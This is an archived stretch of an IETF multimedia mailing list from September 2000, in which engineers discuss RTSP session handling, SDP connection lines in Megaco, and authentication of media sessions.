X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_01ED_01C01815.EE503E70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I am saritha working for Motorola India Electronics Ltd. I have few =
queries on RTSP (RFC 2326) as given below.
=20
* In a Describe response, is it possible to have two media streams on =
the same URL which are non-aggregate ?
  In such a case, when a SETUP is sent to the media streams, does the =
server generate two different session ids for the two streams?
=20
* When a Server specifies that the two media streams are aggregate in =
the DESCRIBE Response, then is it necessary to have the same=20
Session ID for both the media streams ? In other words, How does the =
Server interpret the Session ID ?
=20
You could refer to Page 66 of RFC 2326, April 1998 or 14.2 Example for =
the second Query where a same session id is being used for aggregate =
case.
=20
=20
Thanks & Regards,
Saritha

=20
----
Saritha Sivapuram
Senior Software Engineer
IPS, Extn: 3118

------=_NextPart_000_01ED_01C01815.EE503E70
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN">
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff size=3D2>Hi,</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D2>I am saritha working for Motorola =
India=20
Electronics Ltd. </FONT><FONT color=3D#0000ff size=3D2>I have few =
queries on RTSP=20
(RFC 2326) as given below.</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D2>* In a Describe response, is it =
possible to have=20
two media streams on the same URL which are non-aggregate ?</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2>&nbsp; In such a case, when a SETUP =
is sent to=20
the media streams, does the server generate two different session ids =
for the=20
two streams?</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D2>* When a Server specifies that the =
two media=20
streams are aggregate in the DESCRIBE Response, then is it necessary to =
have the=20
same </FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2>Session ID for both the media =
streams ? In other=20
words, How does the Server interpret the Session ID ?</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D2>You could refer to Page 66 of RFC =
2326, April=20
1998 or 14.2 Example for the second Query where a same session id is =
being used=20
for aggregate case.</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D2>Thanks &amp; Regards,</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2>Saritha</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff size=3D2>----</FONT></DIV>
<DIV><FONT color=3D#0000ff size=3D2>Saritha Sivapuram<BR>Senior Software =

Engineer<BR>IPS, Extn: 3118</FONT></DIV></BODY></HTML>

------=_NextPart_000_01ED_01C01815.EE503E70--


From confctrl-owner  Wed Sep  6 07:53:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA06869
	for confctrl-outgoing; Wed, 6 Sep 2000 07:53:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA06864
	for <confctrl@zephyr.isi.edu>; Wed, 6 Sep 2000 07:53:22 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA11396
	for <confctrl@ISI.EDU>; Wed, 6 Sep 2000 07:54:38 -0700 (PDT)
Received: from cisco.com (ssh.cisco.com [171.69.10.34])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id HAA03957;
	Wed, 6 Sep 2000 07:54:02 -0700 (PDT)
Message-ID: <39B65B95.1B735FD@cisco.com>
Date: Wed, 06 Sep 2000 10:58:29 -0400
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Mackey, Michael" <Michael.Mackey@marconi.com>
CC: MEGACO@STANDARDS.NORTELNETWORKS.COM,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>, MMUSIC <confctrl@ISI.EDU>
Subject: Re: Is Media required on the Physical Termination/Default value for M  
 ODE
References: <9523A991F7AED311A8B900508B6701F4378827@dl-msgusr-01.eu.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



"Mackey, Michael" wrote:

> I have to say I MUCH prefer the way the guys writing the SDP/ATM spec did it
> (using the '-' to indicate not used)

That would conflict with both RFC 2327 (SDP) and RFC 2543 (SIP). For ATM, that
is probably OK since we've only defined the "IN" nettype in 2327. Actually, the
"addr" production in the SDP grammar should probably have a note to indicate it
can be extended as well.

-- Flemming


> but as long as everyone agrees that
> 0.0.0.0 port 0 indicates an IP address not specified and it makes its way
> into the Implementors guide ... fair enough
>
> Michael Mackey,
> Marconi Communications,
> Tel: +353 1 6638407
> - www.marconi.com <http://www.marconi.com>  -
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Wednesday, September 06, 2000 2:53 PM
> > To: Mackey, Michael
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value
> > for M ODE
> >
> >
> > Right - SIP uses the "0.0.0.0" address trick for this.
> >
> > -- Flemming
> >
> > "Mackey, Michael" wrote:
> >
> > > My understanding of the SDP ABNF is that the c= line is
> > mandatory at either
> > > the session level or the media level and it strictly
> > specifies it to be
> > >
> > >    connection-field =    ["c=" nettype space addrtype space
> > >                          connection-address CRLF]
> > >
> > > which doesn't allow an empty line after the c= ....
> > >
> > > Michael Mackey,
> > > Marconi Communications,
> > > Tel: +353 1 6638407
> > > - www.marconi.com <http://www.marconi.com>  -
> > >
> > > > -----Original Message-----
> > > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > > > Sent: Tuesday, September 05, 2000 7:40 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Is Media required on the Physical
> > > > Termination/Default value
> > > > f or M ODE
> > > >
> > > >
> > > > Why not send a blank "c=" line?
> > > >
> > > > -----Original Message-----
> > > > From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
> > > > Sent: Tuesday, September 05, 2000 12:23 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Is Media required on the Physical
> > > > Termination/Default value f
> > > > or M ODE
> > > >
> > > >
> > > > I wonder if someone could help me out ... I have another
> > > > issue with standard
> > > > SDP. If you are using Megaco in conjuction with H.323 you
> > > > will probably want
> > > > an MGC to ask the MG to reserve resources after receiving
> > a Terminal
> > > > Capability message. When specifing a remote descriptor you
> > > > are currently
> > > > required either to give the remote MG's IP address or use
> > the CHOOSE
> > > > character, but you don't receive the remote MGs IP address
> > > > until later when
> > > > Open Logical Channel messages are exchanged and you're
> > > > certainly not asking
> > > > it to choose the remote address. Is there a need for a
> > not specified
> > > > character (such as '-' ) similar to whats being proposed for ATM ?
> > > >
> > > >
> > > > Michael Mackey,
> > > > Marconi Communications,
> > > > Tel: +353 1 6638407
> > > > - www.marconi.com <http://www.marconi.com/>  -
> > > >
> > > > -----Original Message-----
> > > > From: Rosen, Brian
> > > > Sent: Tuesday, August 29, 2000 10:07 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Is Media required on the Physical
> > > > Termination/Default value f
> > > > or M ODE
> > > >
> > > >
> > > > That's an acceptable default, which almost forces the MGC
> > to set it to
> > > > something
> > > > else in order to get media to flow.
> > > >
> > > > Brian
> > > >
> > > > -----Original Message-----
> > > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > > > Sent: Tuesday, August 29, 2000 4:57 PM
> > > > To: Rosen, Brian; megaco@standards.nortelnetworks.com
> > > > Subject: RE: Is Media required on the Physical
> > > > Termination/Default value f
> > > > or M ODE
> > > >
> > > >
> > > >
> > > > Sorry, Brian, the natural default is "inactive".  It does
> > seem that we
> > > > failed to specify the defaults in 7.1.7, even though section
> > > > 6.2.4 promises
> > > > that we would.
> > > >
> > > > > -----Original Message-----
> > > > > From: Rosen, Brian [ mailto:Brian.Rosen@MARCONI.COM
> > > > <mailto:Brian.Rosen@MARCONI.COM> ]
> > > > > Sent: Tuesday, August 29, 2000 4:30 PM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Is Media required on the Physical
> > > > > Termination/Default value
> > > > > f or M ODE
> > > > >
> > > > >
> > > > > Okay, so what would you expect to happen if you audited media of
> > > > > the physical termination.  Even if there was no
> > default, it should
> > > > > be one of the legal states.
> > > > >
> > > > > Now, suppose it's in an acceptable state, should you
> > have to send
> > > > > a media descriptor?
> > > > >
> > > > > What the folks who implemented the MG requiring the
> > media descriptor
> > > > > say is that "there is no mode, you haven't set it".  I
> > can't deal
> > > > > with that, because audit has to return a value.  So it has to be
> > > > > something, and the MGC should be able to leave it, right?
> > > > >
> > > > > Now, I said I think MGCs should always send media!
> > > > >
> > > > > Brian
> > > > >
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Michael Thomas [ mailto:mat@cisco.com
> > > <mailto:mat@cisco.com> ]
> > > > > Sent: Tuesday, August 29, 2000 4:25 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Is Media required on the Physical
> > > > > Termination/Default value for
> > > > > M ODE
> > > > >
> > > > >
> > > > >
> > > > > My general take has been that the MGC shouldn't
> > > > > assume much about the MG. If it wants the MG to
> > > > > do something, it should tell it. If it doesn't
> > > > > know the MG's state, it should audit it.
> > > > > Therefore, I think I disagree with the spec
> > > > > requiring some set of semantics for underspecified
> > > > > commands. What's the gain?
> > > > >
> > > > >               Mike
> > > > >
> > > > > Rosen, Brian writes:
> > > > >  > Another issue from the event:
> > > > >  >
> > > > >  > Is it REQUIRED that the MGC send a media descriptor
> > to a PHYSICAL
> > > > >  > termination in order to get media to flow?
> > > > >  >
> > > > >  > There are two questions actually:
> > > > >  > 1) Is there a default state of MODE (text is silent)
> > > > >  > 2) Should the MG demand a media descriptor before allowing
> > > > > media flow?
> > > > >  >
> > > > >  > I believe:
> > > > >  > 1) The default for MODE is SendRecieve
> > > > >  > 2) MGCs should always send a media descriptor, with at
> > > > least a MODE
> > > > >  > setting
> > > > >  > 3) MGs should not depend on 2)
> > > > >  >
> > > > >  > Brian
> > > > >  >
> > > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> >

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Wed Sep  6 08:41:00 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA08754
	for confctrl-outgoing; Wed, 6 Sep 2000 08:41:00 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA08749
	for <confctrl@zephyr.isi.edu>; Wed, 6 Sep 2000 08:40:59 -0700 (PDT)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23437
	for <confctrl@ISI.EDU>; Wed, 6 Sep 2000 08:42:15 -0700 (PDT)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106])
	by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA05702;
	Wed, 6 Sep 2000 08:42:04 -0700 (PDT)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA01588; Wed, 6 Sep 2000 08:41:44 -0700 (PDT)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14774.26040.776610.708533@thomasm-u1.cisco.com>
Date: Wed, 6 Sep 2000 08:41:44 -0700 (PDT)
To: Ross Finlayson <finlayson@live.com>
Cc: confctrl@ISI.EDU
Subject: How are authenticated sessions described using SDP?
In-Reply-To: <4.3.1.1.20000906021344.00bb8c00@localhost>
References: <4.3.1.1.20000906021344.00bb8c00@localhost>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The main problem is not with SDP, but with RTP
which doesn't specify any means of placing an HMAC
on a RTP packet.

	 Mike

Ross Finlayson writes:
 > Is there any consensus on how authenticated media sessions - i.e., sessions 
 > that have an associated authentication key - are described using SDP?  The 
 > current SDP spec says how to describe an *encryption* key, but not an 
 > *authentication* key.  (Note that I'm referring not to authentication of 
 > the SDP announcement (e.g., in SAP), but rather to authentication that 
 > would be applied to packets that are sent within the session itself.)
 > 
 > For typical media (audio, video, etc.), this is probably somewhat of a moot 
 > question right now, because I don't think we yet have an agreed-upon way of 
 > applying authentication (e.g., using digital signatures, cryptographic 
 > hashes, etc.) to RTP/RTCP sessions.  (This is something that will arise as 
 > a result of the secure multicast research group, right?)  But the reason I 
 > raise this question now is that someone recently asked me how 
 > authentication for *directory* sessions could be represented in SDP.  For 
 > directory sessions we do, indeed, have an idea how authentication would 
 > work - namely, the recent proposal for authenticated SAP.
 > 
 > 	Ross.
 > 
 > 

From confctrl-owner  Thu Sep  7 10:03:27 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA07122
	for confctrl-outgoing; Thu, 7 Sep 2000 10:03:27 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA07117
	for <confctrl@zephyr.isi.edu>; Thu, 7 Sep 2000 10:03:25 -0700 (PDT)
Received: from postman.ncube.com (postman.ncube.com [134.242.8.47])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id KAA11507
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 10:04:42 -0700 (PDT)
Received: from db1.ncube.com (db1 [134.242.64.1])
	by postman.ncube.com (8.9.0/8.9.0) with SMTP id KAA17876
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 10:04:32 -0700 (PDT)
Received: from ncube.com by db1.ncube.com (SMI-8.6/SMI-SVR4)
	id KAA27620; Thu, 7 Sep 2000 10:12:29 -0700
Message-ID: <39B7CA9E.F9555A5B@ncube.com>
Date: Thu, 07 Sep 2000 10:04:30 -0700
From: Sean Sheedy <seans@ncube.com>
Organization: nCUBE Corporation
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <E13MJtb-0000D8-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks, Ron, for the excellent summary.

Some belated thoughts on a few of the issues raised are interspersed
below.

Ron Frederick wrote:
> 2a. A question came up about whether servers need to support a SETUP on a URL
> without a preceding DESCRIBE on a given control connection. This can come up
> if the DESCRIBE was done earlier on some other connection or if the SDP
> description was retrieved by some other out-of-band means. My personal
> opinion is that servers should be strongly encouraged to always support
> this and _not_ tie any state to a given underlying control connection. There
> might be other reasons why the URLs returned in a DESCRIBE might become
> stale and no longer work after some period of time, but that could happen
> even when the DESCRIBE and SETUP happen on the same connection. In such a
> case, a new DESCRIBE can be sent to get the updated information, but all of
> this should be independent of which control connections are used. Other
> opinions?

A SETUP without a preceding DESCRIBE should be allowed.  I agree that
tying state  to a specific control connection via DESCRIBE is a bad
idea. It simply doesn't work for non-persistent control connections such
as UDP.

It may be worthwhile to allow client to combine the features of SETUP
and DESCRIBE in the same request.  For example, if a new header is
included in a SETUP request (e.g., "PrepareAsset"), the server could
return the DESCRIBE data in SETUP response body.  Opinions on this?

> 2b. Another question came up about whether servers were required to allow a
> SETUP on only a subset of tracks in an aggregate object. I couldn't find
> anything in the spec which discussed this, but I'd like to recommend that
> this at least be a "SHOULD".

Not all servers or media types can support this.  E.g., dynamically
breaking apart an already combined MPEG-2 presentation into its
elementary streams is awkward at best.

> 2c. Finally, there were questions about whether it was legal to allow SETUPs
> for tracks from multiple different (possibly aggregate) objects in a single
> session, such that they could be controlled together using a single PLAY
> command. This seems like very useful functionality to me, but it raises
> questions about what URL should be used in the PLAY command in that case and
> there are some issues that come up between this and the proposals recently
> discussed here in the RTSP extensions draft draft-sheedy-mmusic-rtsp-ext-01.
> The proposal at the bakeoff was to allow a "*" in place of the URL in PLAY
> when a Session was specified, with the meaning being to play all the tracks
> that were SETUP in that session. However, if you want to support reuse of
> a single session for multiple different sets of streams as was described in
> the extensions draft, something more complicated is going to be required.
> Further work is needed to reconcile all of these cases.

What if the server returns a dynamically created aggregate URL in the
SETUP response?  That way the client has an unambiguous name to use to
specify the entire collection.  For example:

C->S  SETUP stream1
S->C  OK Session=1234 URI=myaggregate1
C->S  SETUP stream2 Session=1234
S->C  OK Session=1234 URI=myaggregate1
C->S  PLAY Session=1234 URI=myaggregate1
S->C  OK

> 3. Queued PLAY as described in the spec was not yet implemented by many of
> the participants in the bakeoff. While it seems like it could be a very
> useful feature, there were some serious complications in the current design
> that make it difficult to implement. In particular, it's currently very
> difficult to return a reasonable set of values in the "RTP-Info" header of
> the PLAY reply, as it would require knowing exactly what the sequence number
> and timestamp will be when the server is done playing all of the previously
> queued data, and this information may be difficult or impossible to compute
> without actually reading and parsing all of that data. It might be more
> reasonable to move this information from the PLAY reply to some other
> independent message sent from the server to the client right before a PLAY
> spurt starts at the server. For the first PLAY in any given session, this
> message would be sent immediately after the PLAY reply, but for queued
> segments it would be delayed until that segment was about to begin playing.
> There was also an independent request for a "stream done" indication when
> playback finished, and it seems like this same message could serve that
> purpose, providing the sequence number and timestamp just past the end of
> the packets which were transmitted when playback finishes.

We (nCUBE) have implemented queued PLAY.  MPEG-2 doesn't have the time
stamp problems, etc., on transitions, fortunately.  Even so, we've found
callbacks on transitions useful for clients, who typically want to track
the presentation state.

> 6c. Currently, the spec does not require the server to return a Session header
> in the SETUP reply. However, this makes it difficult to do some kinds of
> aggregate control (such as the example earlier about tracks from different
> objects played together). To make the client's job easier, should we consider
> requiring session IDs to be returned?

Yes.  This was already my interpretation, and the interpretation of the
client writers I've worked with.  Without requiring a session ID to be
returned on SETUP, servers would have major problems properly handling
non-persistent control connections.

> 6d. More explanation about timeouts would be useful. In particular, the spec
> speaks about session timeouts, but it says very little about timeouts on
> control connections and how exactly the teardown of control connections
> affects the teardown of sessions. In particular, section 12.37 talks about
> RTSP command activity being needed to reset the timeout, but Section A
> later mentions other wellness information such as RTCP reports being good
> enough for that, suggesting that it should be possible to start playback
> of a session and then tear down the control connection without fear of
> the session timing out as long as RTCP reports are sent. Not all servers
> implement this, however. A clearer specification of exactly what servers
> must support here would be useful.

I agree that this needs to be clarified.  Clients need to know exactly
what is required of them to maintain their sessions with a minimum of
overhead.  This is particularly important for delivery mechanisms (such
as MPEG-2) that don't contain a built in backchannel from the client to
the server.

I'd like to propose two complementary liveness detection mechanisms
which are independent of the content delivery mechanism: explicit and
implicit.  Explicit detection uses a reference to a particular session
to update the liveness indicator for that session.  Implicit detection
uses activity on a control connection to update the liveness indicator
for all sessions associated with that control connection.

Explicit liveness detection uses the PLAY and GET_PARAMETER methods as
mentioned in the RFC.  Any request received from a client which
explicitly references a session resets the session time-out counter. 
This mechanism is most useful in environments where each client controls
a small number of sessions, particularly one which is not using
persistent control connections.

Implicit liveness detection resets the time-out counter for all sessions
associated with a client connection any time a syntactically valid RTSP
request is received on the connection.  For this purpose, a stand alone
CRLF could count as a syntactically valid RTSP request, although it
would not result in any response from the server.  Note that this
mechanism is not meaningful when using connectionless protocols
such as UDP for sending requests.

Implicit liveness detection provides a very low overhead, scalable
liveness mechanism in environments which use persistent connections.  In
particular, RTSP clients which need to control many sessions
simultaneously benefit from this strategy.

Note that this proposal doesn't address which type of liveness detection
must be supported by a server, or how a client can determine which type
a server allows.

> 7a. Currently, the description of the Transport header says that "multicast"
> is the default for _all_ transports. However, for some such as RTP/AVP/TCP,
> multicast doesn't make sense. Should it be changed to make "unicast" the
> default for some transports like TCP?

Yes.  Defaults should never be nonsensical.

> 7c. The "port", "client_port", and "server_port" options currently allow
> either a single port number or "port1-port2" to specify a range. However,
> the spec isn't really clear about what is meant by each of these cases. In
> the case of RTP, does specifying a single port imply that RTCP will be on
> that port + 1? If a range of ports is specified where the second port number
> _isn't_ the first port + 1, what does that mean?

The ports should always be specified explicitly.  Assuming that an
unspecified port means "add 1" is not valid for non-RTP transports. 
Allowing a generic list of ports rather than just a range would be good. 
I'm not sure of the right syntax for this, though.  It can't be a comma
separated list since commas are already used for lists of transports.

Sean


-- 
Sean Sheedy                                         seans@ncube.com

From confctrl-owner  Thu Sep  7 12:29:59 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA13548
	for confctrl-outgoing; Thu, 7 Sep 2000 12:29:59 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA13543
	for <confctrl@zephyr.isi.edu>; Thu, 7 Sep 2000 12:29:58 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA22104
	for <confctrl@isi.edu>; Thu, 7 Sep 2000 12:31:12 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with ESMTP id com; Thu, 7 Sep 2000 12:31:38 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.12 #1 (Debian))
	id 13X7Nd-0007dv-00; Thu, 07 Sep 2000 12:30:37 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Sean Sheedy <seans@ncube.com>
cc: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues 
In-Reply-To: Message from Sean Sheedy <seans@ncube.com> 
   of "Thu, 07 Sep 2000 10:04:30 MST." <39B7CA9E.F9555A5B@ncube.com> 
References: <E13MJtb-0000D8-00@savage.entera.com>  
 <39B7CA9E.F9555A5B@ncube.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 07 Sep 2000 12:30:37 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13X7Nd-0007dv-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Sean...

In message <39B7CA9E.F9555A5B@ncube.com> you write:
> Some belated thoughts on a few of the issues raised are interspersed
> below.
> 
Thanks -- my replies are below. I'd love to see other opinions here as well.
Many of the things I put into the summary had no clear answers yet, but it'd
be nice to get some more discussion around them so they can be addressed
somehow in future versions of the spec.

> A SETUP without a preceding DESCRIBE should be allowed.  I agree that
> tying state  to a specific control connection via DESCRIBE is a bad
> idea. It simply doesn't work for non-persistent control connections such
> as UDP.
> 
Agreed.

> It may be worthwhile to allow client to combine the features of SETUP
> and DESCRIBE in the same request.  For example, if a new header is
> included in a SETUP request (e.g., "PrepareAsset"), the server could
> return the DESCRIBE data in SETUP response body.  Opinions on this?
> 
In the general case, this could be problematic, as the URL sent on a DESCRIBE
is often different than the one(s) sent on a SETUP. You actually need the
information in the DESCRIBE reply to decide which SETUP message(s) you need
to send. I was thinking more of the case where the DESCRIBE was done
previously or where you got the description by other means when I first
raised this issue, and in those cases you wouldn't need the description to
be sent again on the SETUP. If you do need it but you don't need it before
sending the SETUP, you can always have your client pipeline the DESCRIBE and
SETUP commands in a single message, and then process both replies. That
should be about as quick from a network standpoint as one combined request,
and wouldn't require any protocol changes.

> > 2b. Another question came up about whether servers were required to allow a
> > SETUP on only a subset of tracks in an aggregate object. I couldn't find
> > anything in the spec which discussed this, but I'd like to recommend that
> > this at least be a "SHOULD".
> 
> Not all servers or media types can support this.  E.g., dynamically
> breaking apart an already combined MPEG-2 presentation into its
> elementary streams is awkward at best.
> 
An already-combined MPEG-2 presentation isn't likely to show up as an
aggregate object of the kind described here, though. The only time this is
an issue is when the SDP description lists multiple tracks that need to each
be SETUP separately. In such a case, the server is clearly capable of
splitting up the data, as it is sending it to two different destinations.
The only question is whether a client should have the ability to ask it to
send one of those two streams and not the other (or more generally some
subset of all the streams).

> > 2c. Finally, there were questions about whether it was legal to allow SETUP
>  s
> > for tracks from multiple different (possibly aggregate) objects in a single
> > session, such that they could be controlled together using a single PLAY
> > command. This seems like very useful functionality to me, but it raises
> > questions about what URL should be used in the PLAY command in that case an
>  d
> > there are some issues that come up between this and the proposals recently
> > discussed here in the RTSP extensions draft draft-sheedy-mmusic-rtsp-ext-01
>  .
> > The proposal at the bakeoff was to allow a "*" in place of the URL in PLAY
> > when a Session was specified, with the meaning being to play all the tracks
> > that were SETUP in that session. However, if you want to support reuse of
> > a single session for multiple different sets of streams as was described in
> > the extensions draft, something more complicated is going to be required.
> > Further work is needed to reconcile all of these cases.
> 
> What if the server returns a dynamically created aggregate URL in the
> SETUP response?  That way the client has an unambiguous name to use to
> specify the entire collection.  For example:
> 
> C->S  SETUP stream1
> S->C  OK Session=1234 URI=myaggregate1
> C->S  SETUP stream2 Session=1234
> S->C  OK Session=1234 URI=myaggregate1
> C->S  PLAY Session=1234 URI=myaggregate1
> S->C  OK
> 
In a case like this, I'm still trying to understand what value the URI
provides at all in the "PLAY", when you already have the Session field. In
your example, you could do just as well leaving out the URI in the PLAY and
just using a "*", along with Session: 1234.

The one place where I could see it potentially being useful would be if you
wanted to set up several different pieces of content in the same session
with the intent of playing alternate versions of them rather than playing
all of them simultaneously. In that case, the URI in the PLAY could let you
specify which subset of the items to play. This sounds complicated to
implement from a server standpoint, though, and I'm not sure we'd want to
mandate something like that in the spec.

> We (nCUBE) have implemented queued PLAY.  MPEG-2 doesn't have the time
> stamp problems, etc., on transitions, fortunately.  Even so, we've found
> callbacks on transitions useful for clients, who typically want to track
> the presentation state.
> 
How do you know what sequence number to return in the RTP-Info in the case of
queued play, when you haven't finished playing the previous piece(s)? Also,
when you say that MPEG-2 doesn't have the timestamp problem, is that just
because all of your movies have a known length up front and a common RTP
clock rate, or is there something more to it than that?

> > 6c. Currently, the spec does not require the server to return a Session hea
>  der
> > in the SETUP reply. However, this makes it difficult to do some kinds of
> > aggregate control (such as the example earlier about tracks from different
> > objects played together). To make the client's job easier, should we consid
>  er
> > requiring session IDs to be returned?
> 
> Yes.  This was already my interpretation, and the interpretation of the
> client writers I've worked with.  Without requiring a session ID to be
> returned on SETUP, servers would have major problems properly handling
> non-persistent control connections.
> 
Agreed. Does anyone else think this would be an unreasonable change?

> [clarification of session timeouts]
> 
> I agree that this needs to be clarified.  Clients need to know exactly
> what is required of them to maintain their sessions with a minimum of
> overhead.  This is particularly important for delivery mechanisms (such
> as MPEG-2) that don't contain a built in backchannel from the client to
> the server.
> 
> I'd like to propose two complementary liveness detection mechanisms
> which are independent of the content delivery mechanism: explicit and
> implicit.  Explicit detection uses a reference to a particular session
> to update the liveness indicator for that session.  Implicit detection
> uses activity on a control connection to update the liveness indicator
> for all sessions associated with that control connection.
> 
> Explicit liveness detection uses the PLAY and GET_PARAMETER methods as
> mentioned in the RFC.  Any request received from a client which
> explicitly references a session resets the session time-out counter. 
> This mechanism is most useful in environments where each client controls
> a small number of sessions, particularly one which is not using
> persistent control connections.
> 
> Implicit liveness detection resets the time-out counter for all sessions
> associated with a client connection any time a syntactically valid RTSP
> request is received on the connection.  For this purpose, a stand alone
> CRLF could count as a syntactically valid RTSP request, although it
> would not result in any response from the server.  Note that this
> mechanism is not meaningful when using connectionless protocols
> such as UDP for sending requests.
> 
> Implicit liveness detection provides a very low overhead, scalable
> liveness mechanism in environments which use persistent connections.  In
> particular, RTSP clients which need to control many sessions
> simultaneously benefit from this strategy.
> 
> Note that this proposal doesn't address which type of liveness detection
> must be supported by a server, or how a client can determine which type
> a server allows.
> 
I can see value in each of these approaches, but I'm not sure we'd want to
complicate things by allowing servers to support only one or the other.
